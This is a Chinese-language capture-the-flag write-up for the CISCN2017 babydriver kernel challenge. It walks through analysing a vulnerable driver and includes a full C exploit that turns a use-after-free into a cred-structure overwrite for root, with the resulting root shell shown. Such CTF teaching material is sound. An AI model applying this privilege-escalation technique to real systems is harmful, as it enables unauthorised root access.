這篇文章目的在於簡單介紹內核PWN題,揭開內核的神秘面紗。背後的知識點包含Linux驅動和內核源碼,學習路線非常陡峭。也就是說,會一道Linux內核PWN需要非常多的鋪墊知識,如果要學習可以先從UNICORN、QEMU開始看起,然後看Linux驅動的內容,最後看Linux的內存管理、進程調度和文件的實現原理。至於內核API函數不用死記硬背,用到的時候再查都來得及。
這題是參考ctf-wiki上的內核例題,題目名稱CISCN2017_babydriver,是一道簡單的內核入門題,所牽涉的知識點並不多。題目附件可以在ctf-wiki的GitHub倉庫找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver。
首先將題目附件下載下來,解壓後得到所有的文件如下:.
├── boot.sh # 啟動腳本,運行這個腳本來啟動QEMU
├── bzImage # 壓縮過的內核鏡像
└── rootfs.cpio # 作為初始RAM磁碟的文件查看啟動腳本boot.sh內容如下:
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \ # 指定使用rootfs.cpio作為初始RAM磁碟。可以使用cpio 命令提取這個cpio文件,提取出裡面的需要的文件,比如init腳本和babydriver.ko的驅動文件。提取操作的命令放在下面的操作步驟中
-kernel bzImage \ # 使用當前目錄的bzImage作為內核鏡像
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ # 使用後面的字符串作為內核命令行
-enable-kvm \ # 啟用加速器
-monitor /dev/null \ # 將監視器重定向到字符設備/dev/null
-m 64M \ # 參數設置RAM大小為64M
--nographic \ # 參數禁用圖形輸出並將串行I/O重定向到控制臺
-smp cores=1,threads=1 \ # 參數將CPU設置為1核心1線程
-cpu kvm64,+smep # 參數選擇CPU為kvm64,開啟了smep保護,無法在ring 0級別執行用戶代碼文件bzImage是壓縮編譯的內核鏡像文件。有些題目會提供vmlinux文件,它是未被壓縮的鏡像文件。這個題目沒有提供,但也不要緊,可以用腳本提取出vmlinux,而使用vmlinux的目的也就是找gadget,提取vmlinux的腳本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。把代碼複製到文件中,保存為extract-vmlinux,然後賦予執行權限。提取vmlinux命令如下:
./extract-vmlinux ./bzImage > vmlinux可以使用ropper在提取的vmlinux中搜尋gadget,ropper比ROPgadget快很多:
ropper --file ./vmlinux --nocolor > g1rootfs.cpio是啟動內核的RAM磁碟文件,可以把它看作一個微型Linux文件系統。使用file命令查看可以看到它是gzip格式:
unravel@unravel:~/pwn$ file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672我們將rootfs.cpio改名為rootfs.cpio.gz,然後將它解壓出來:
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio
unravel@unravel:~/pwn$ mv rootfs.cpio rootfs.cpio.gz
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio.gz
unravel@unravel:~/pwn$ gunzip rootfs.cpio.gz
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio
unravel@unravel:~/pwn$ file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)因為rootfs.cpio裡面包含一些文件系統,它的文件比較多,我們可以創建一個文件夾,然後用cpio命令把所有文件提取到新建的文件夾下,保證一個乾淨的根目錄,後面也將內容重新打包:unravel@unravel:~/pwn$ mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio
unravel@unravel:~/pwn/core$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr在我們上一步解壓完rootfs.cpio之後可以看到它就是Linux的文件系統。在根目錄下裡面有一個「init」文件,它決定啟動哪些程序,比如執行某些腳本和啟動shell。它的內容如下,除了insmod命令之外都是Linux的基本命令便不再贅述:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko # insmod命令加載了一個名為babydriver.ko的驅動,根據一般的PWN題套路,這個就是有漏洞的LKM了
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f在init文件中看到用insmod命令加載了babydriver.ko驅動,那麼我們把這個驅動拿出來,檢查一下開啟的保護:
unravel@unravel:~/pwn/core/lib/modules/4.4.72$ checksec --file=babydriver.ko
RELRO STACK CANARY NX PIE RPATH RUNPATHSymbolsFORTIFYFortifiedFortifiable FILE
No RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 64 Symbols No00babydriver.ko把驅動程序放到IDA裡面查看程序邏輯,除了init初始化和exit外還有5個函數:int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}babyopen:調用kmem_cache_alloc_trace函數申請一塊大小為64位元組的空間,返回值存儲在device_buf中,並設置device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}babyioctl:定義0x10001的命令,這條命令可以釋放剛才申請的device_buf,然後重新申請一個用戶傳入的內存,並設置device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
return 0LL;
}
else
{
printk(&unk_2EB);
return -22LL;
}
}babywrite:copy_from_user是從用戶空間拷貝數據到內核空間,應當接受三個參數copy_from_user(char*, char*,int),IDA裡面是沒有識別成功,需要手動按Y鍵修復。babywrite函數先檢查長度是否小於device_buf_len,然後把 buffer 中的數據拷貝到 device_buf 中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
result = v6;
}
return result;
}babyread:和babywrite差不多,不過是把device_buf拷貝到buffer中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer, babydev_struct.device_buf, v4);
result = v6;
}
return result;
}值得注意的是驅動程序中的函數操作都使用同一個變量babydev_struct,而babydev_struct是全局變量,漏洞點在於多個設備同時操作這個變量會將變量覆蓋為最後改動的內容,沒有對全局變量上鎖,導致條件競爭。我們使用ioctl同時打開兩個設備,第二次打開的內容會覆蓋掉第一次打開設備的babydev_struct ,如果釋放第一個,那麼第二個理論上也被釋放了,實際上並沒有,就造成了一個UAF釋放其中一個後,使用fork,那麼這個新進程的cred空間就會和之前釋放的空間重疊利用那個沒有釋放的描述符對這塊空間寫入,把cred結構體中的uid和gid改為0,就可實現提權還有在修改時需要知道cred結構的大小,可以根據內核版本可以查看源碼,計算出cred結構大小是0xa8,不同版本的內核源碼這個結構體的大小都不一樣。#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打開兩次設備
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 為 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 釋放 fd1
close(fd1);
// 新起進程的 cred 空間會和剛剛釋放的 babydev_struct 重疊
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通過更改 fd2,修改新進程的 cred 的 uid,gid 等值為0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}需要將編寫的exp編譯成可執行文件,然後把它複製到rootfs.cpio提取出來的文件系統中,再將文件系統重新打包成cpio,這樣在內核重新運行的時候就有exp這個文件了。
將exp編譯好,注意需要改為靜態編譯,因為我們的內核是沒有動態連結的:
unravel@unravel:~/pwn$ gcc exp.c -static -o exp接下來我們複製exp到文件系統下,然後使用cpio命令重新打包:
unravel@unravel:~/pwn$ cp exp core/tmp/
unravel@unravel:~/pwn$ cd core/
unravel@unravel:~/pwn/core$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
unravel@unravel:~/pwn/core$ find . | cpio -o --format=newc > rootfs.cpio
cpio: File ./rootfs.cpio grew, 3522560 new bytes not copied
14160 blocks
unravel@unravel:~/pwn/core$ cp rootfs.cpio ..下一步就可以重新運行內核了。執行boot.sh啟動內核後,在剛才拷貝的/tmp目錄下找到exp可執行程序:
/ $ ls -la /tmp/
total 864
drwxrwxr-x 2 ctf ctf 0 Dec 16 09:35 .
drwxrwxr-x 13 ctf ctf 0 Dec 17 08:35 ..
-rwxrwxr-x 1 ctf ctf 883168 Dec 17 08:30 exp執行後可得到root權限,提權成功:
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exp
[ 115.517513] device open
[ 115.522342] device open
[ 115.527241] alloc done
[ 115.532132] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)可以在boot.sh文件中添加-s參數來使用gdb調試,它默認埠1234。也可以指定埠號進行調試,只需要使用-gdb tcp:port即可。在啟動的內核中使用lsmod查看加載的驅動基地址,得到0xffffffffc0000000,然後啟動gdb,使用target remote指定調試IP和埠號進行調試,然後添加babydriver的符號信息,過程如下:
# 在QEMU運行的內核中運行如下命令
/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)# 啟動gdb,配置調試信息
gdb -q
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
gef➤ add-symbol-file pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
add symbol table from file "pwn/core/lib/modules/4.4.72/babydriver.ko"
Reading symbols from pwn/core/lib/modules/4.4.72/babydriver.ko...這裡建議使用gef插件,pwndbg和peda調試內核總有一些玄學問題。如果gef報錯context相關問題(如下圖),在gdb中輸入命令python set_arch()就可以查看調試上下文了:
通過一道題認識了內核PWN的解題步驟,以及如何對內核進行調試。對於不知道用法的內核函數和結構體,可以在manned.org網站或者源碼中查看。
CTF-WIKI連結:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2
Linux在線源碼:https://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431
MannedOrg:https://manned.org/kmalloc.3
QEMU手冊:https://www.qemu.org/docs/master/system/quickstart.html
UNICORN:https://www.unicorn-engine.org/docs/